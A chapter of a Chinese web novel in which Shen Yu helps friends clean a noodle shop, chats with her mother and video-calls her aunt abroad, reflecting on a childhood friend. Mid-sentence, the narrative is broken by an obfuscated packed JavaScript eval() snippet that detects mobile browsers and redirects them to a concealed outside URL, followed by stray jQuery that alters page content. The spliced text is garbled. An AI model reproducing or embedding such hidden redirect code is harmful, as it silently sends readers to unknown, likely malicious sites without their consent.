怀着重重思绪,沈寓一路上都心不在焉。
等他们回到店里的时候,陈晏宣和孟云凡两人已经清理完了大块区域。
沈寓还沉浸在刚刚的回忆中,目光涣散。
她将扫把放下,眼神不自觉望向远处倚靠在桌边,正拿着纸巾擦汗的少年。
陈晏宣身上穿着黑色衬衫,按理说不太能看得出来流汗。但他后面脊背处氤湿的,比其他地方更深的一小块区域,还是侧面反映出了二人的劳动量确实很大。
不远处已经大汗淋漓,抱着电风扇不撒手的孟云凡更甚。
擦完脖子,手上的纸巾已经完全湿透,少年站直身体准备再从吧台那边重新抽几张纸,恰好对上站在不远处的沈寓的视线。
目光于空中交汇,似浪逐击礁石,翻涌出白色的浪花。
沈寓看见他抬眸望过来,眼中略有疑色,“...怎么了?”
“你发什么呆?”他一脸莫名其妙。
“......”
意识到自己的视线或许过于热切,她连忙摇了摇头,从旁边的纸盒里抽出两张纸,向前献殷勤似地递过去,“没有,看你们流了好多汗,活也差不多干完了,我这半道跑路,没和你们同甘共苦,有一点心虚。”
陈晏宣嗤笑了一声,从沈寓手中接过纸巾,讥讽般闲闲道,“挺有自知之明。”
“...”本来开开心心献殷勤的沈寓被他这话一噎,欲言又止。
随即这殷勤也不献了,把手中的纸恶狠狠地往他手里一塞,记仇地小小翻了个白眼,抱着胳膊走掉了,“切,我大人有大量,才懒得和你计较。”
话是这么说,但为了弥补自己刚刚的临阵脱逃,沈寓还是很快又加入了清扫大军。
只不过他们都已经扫得差不多了,她也没帮上什么忙。
忙活了差不多半个小时,整个面馆终于焕然一新,与台风前没什么两样。
三人也终于能停下来,在空调底下一人抱着一个风扇吹。
...
干完活,老王把他们留了下来吃晚饭。
虽然这晚饭的时间吧...确实相比平常有点早了。
待帮老王洗完碗,仨人也闲着没事干,便拉着老王去附近的冰粉店吃夜宵,给他老人家解解闷。
兜兜转转,直到把老王溜得走不动路了仨人这才罢休。
老王回去路上还说着,“你们仨是来报复我的吗?我这老身子骨了还拉着我到处跑,真当我和你们年轻人一样啊。”
孟云凡贱嗖嗖地补充,“老王说什么呢,你今年明明是十八,正值壮年好不好。”
沈寓也煞有介事点点头,“就是啊老王,满六十减五十。”
老王又气又笑,最后给了一人一记脑瓜子,这才背着手回家了。
陈晏宣无缘无故被连坐,挨了一脑瓜后脸色几乎冻得要掉渣。
凉凉地扫了一眼旁边两个正偷笑的人。
孟云凡、沈寓两人对了下眼,立即异口同声推道,“不关我们的事,老王打的。”
陈晏宣:“......”
-
结束今天的事情,等沈寓回到家中的时候,已经差不多九点多了。
她抓紧去房间洗漱,洗完从浴室出来的时候,恰好看见孟梧正在廊道春风满面地打着电话,“唉对,您是说那批货您们这边是可以提供是吧?”
她转头的时候刚好看见刚出来的沈寓,手指放在嘴边示意她不要出声,口中还在和电话的那方谈着话,“可以的呀可以的呀,我们随时都有空的啊,要是您想商议的话,我们明天就可以约着见面的……”
沈寓识趣地回了房间,瘫在床上放松着筋骨。
今天一整天还挺累的,明天还要上学,得早点睡。
她心里正琢磨今晚还要不要看会儿历史。
看吧?
可是好累啊。
好累也要看啊。
真的不想看。
……
脑子里像是有两个小人在打架。
过了五分钟,孟梧女士似乎打好了电话,趴在她门口的门框笑意盈盈道,“宝贝女儿,今天去哪玩了呀?”
“!”
声音骤然响起,把沈寓给吓了一跳,她犹犹豫豫探向床前柜放的历史书的,伸一尺又退一丈的手蓦然滞在空中,“我靠,妈你吓死我了!”
孟梧说:“干嘛呀,你干啥事了这么心虚啊?”
“……”
这不是在想今天要不要学习吗。
沈寓心里嘟囔着。
其实她想得过且过的,既然今天都这么累了,就应该好好休息,但又怕她娘来唠叨她。
沈寓不动声色地转移话题,“啊?哦,我今天和我那几个朋友去给老王店里帮忙了,就是那个我经常和你说的,我中午偶尔会去那边吃饭的那个老王面馆。”
“噢,记起来了。人家王爷爷不收钱天天让你们吃白饭,你们也是该去干点活。”孟梧想起来具体是谁后点了点头。
随后她摇了摇手中手机,“好了好了,你那点小心思妈妈还能不知道?累了一天不学就不学吧,休息会儿。你妈妈我今天心情高兴,不唠叨你。”
沈寓眸光亮起,惊喜道,“真的啊!”
刚刚听了一下他们的聊天,沈寓意识到应该是公司前段时间那个问题有头绪了。
那批货供应商的抉择缠着她妈已经好几个月了,若是解决,也难怪孟梧女士会这么高兴。
“多大的人了,妈妈还能管你到什么时候啊。”孟梧笑着摇摇头,“对了,今天你姑姑来电话了啊,叫你给她回一下,你别忘了。”
沈寓立即从床上蹦起来,小跑去书桌拿手机,“遵命!”
她妈都下令了,那今天就先放纵一下吧。
可不是她故意放纵的。
再说,期中考试才刚结束呢。
孟梧看她这样子,无奈地笑了一下,叮嘱了她几句后便把房门带上出去了。
伴随着关门的声音,沈寓的视频通话也已经打到了沈昭那边。
美国和国内有时差,现在的这个点,美国应该是早上八九点。
只不过对面的人似乎还惺忪着睡眼,赖着床。
沈寓眼睁睁看见她姑姑把枕头盖在脑袋上,装死了好几秒后,才传来一阵闷闷的声音,“沈寓,你最好确保找我有什么要紧的事,不然我真的掐死你。”
沈寓:“......”
等一下,是谁先叫打电话给她的?
她翻了个白眼,提醒道,“小姑,不是你叫我打电话给你的吗?”
...
听完这话,对面似反应了好久,才垂死梦中惊坐起,“哎呀我去!我给忘了!”
“...”沈寓无言片刻,但还是很快恢复了平静,毕竟她姑姑经常干这种事情。
念在沈昭今天解救了她于背书的水深火热之中,她没有太和她计较,而是大方道,“说吧,找我什么事。”
“这个呀。”
提起这个,对面翻了个身坐起来,刚刚仿佛要隔着屏幕掐死她的声音陡
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138945|180389||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
然变调,现在变成腻得要死的讨好口吻,“咳咳,你……还记不记得姑姑之前给你说的?”
沈寓知道沈昭指的是她几个月前说要回国玩几天的事情。
“哦?你说这个啊?”沈寓迎着她姑期待的眼神,故意拖腔拿调。
等过了会儿后再一头冷水迎面浇下,“不知道。”
“……”
沈昭知道沈寓故意拿乔,却没办法,毕竟是在求人办事。
“怎么能忘了呢?”她声音减弱,警惕地看了看沈寓四周,“旁边没人吧?”
沈寓不再逗她了,直接道,“没人。行了说吧,小姑,你打算什么时候回来祸害我。”
“你这孩子,说话这么难听,什么叫祸害。”沈昭瞪了她一眼,“真是好心当成驴肝肺,你小姑我在国外都还惦记着你,还给你准备了礼物呢。”
末了,她又偷偷补充,“下周五晚上的飞机,记得帮我瞒一下啊。我跟你爸妈说的是下下周二才回来。”
“千万要给我瞒好啊,要是事情败露,你小姑我皮就要被你爸扒掉了。”
沈寓给她摆了个“OK”的手势。
姑侄俩只是偶尔会在微信上聊天,但这视频通话倒是很少打。
上一次的视频通话....沈昭仔细回想了一下,记起之前沈寓给她提的那个好哥们的事情。
千叮咛万嘱咐好自己的事情,脑子也比刚才清醒了点。沈昭从床上起来,去厨房接了杯温水,口中问道,“差点忘了,你不是说之前有个好朋友不认识你了吗?现在重归于好没有?”
沈寓瞥了她姑一眼,“这事都过了多久了,你才终于想起来问我了啊?”
没等沈昭回答,沈寓又道,“不劳您担心,早和好了。”
沈昭开玩笑道,“哟,人家终于记起一年级的你长什么样了啊。”
“...”沈寓没理。
把枕头往后放,调整到舒服的位置才躺下去。
望着天花板,呆呆地出神。
莫名又想起了今天老王随口提的那一嘴话。
她问向沈昭,“姑姑,你八岁的时候,爷爷奶奶在你身边吗?”
“?”被她这风马牛不相及的话一噎,沈昭奇怪道,“那肯定在啊,八岁才崩豆大点个子,离了父母怎么活?”
是啊,才八岁,离开父母,要怎么生活?
沈寓沉沉想着。
“当时你小的时候,哥哥嫂子不也是怕照顾不好你,才把你送回外公外婆那边去的吗?”沈昭将水杯放下,看向屏幕对面的沈寓,“怎么了?怎么忽然问起这个问题?”
“你是不是在怪你爸爸妈妈当时把你送回外公外婆家啊?”
沈寓摇了摇头。
就算当时把她送回去,他们每天的电话也是从不缺席的。只要有空,便一定会回来看她。外公外婆只有她一个从小带起来的外孙,也都是当宝一样捧着。
如果说爱,她可以很自信地说从来没有缺少过。
只是,她在想陈晏宣。
他八岁的时候,会不会也很想父母。
刚刚听沈昭提起,沈寓才后知后觉想起,她离开那年,似乎正是陈晏宣八岁那年。
当时她还没来得及将八岁的生日礼物送给陈晏宣,就被送回去了。
一声招呼也没打,就这么消失在了他的世界里。
“……”
沈寓望着天花板虚无的一点。
明明就是一个很孤独的小燕子。
还非得装得那么坚强,装得什么都不在意。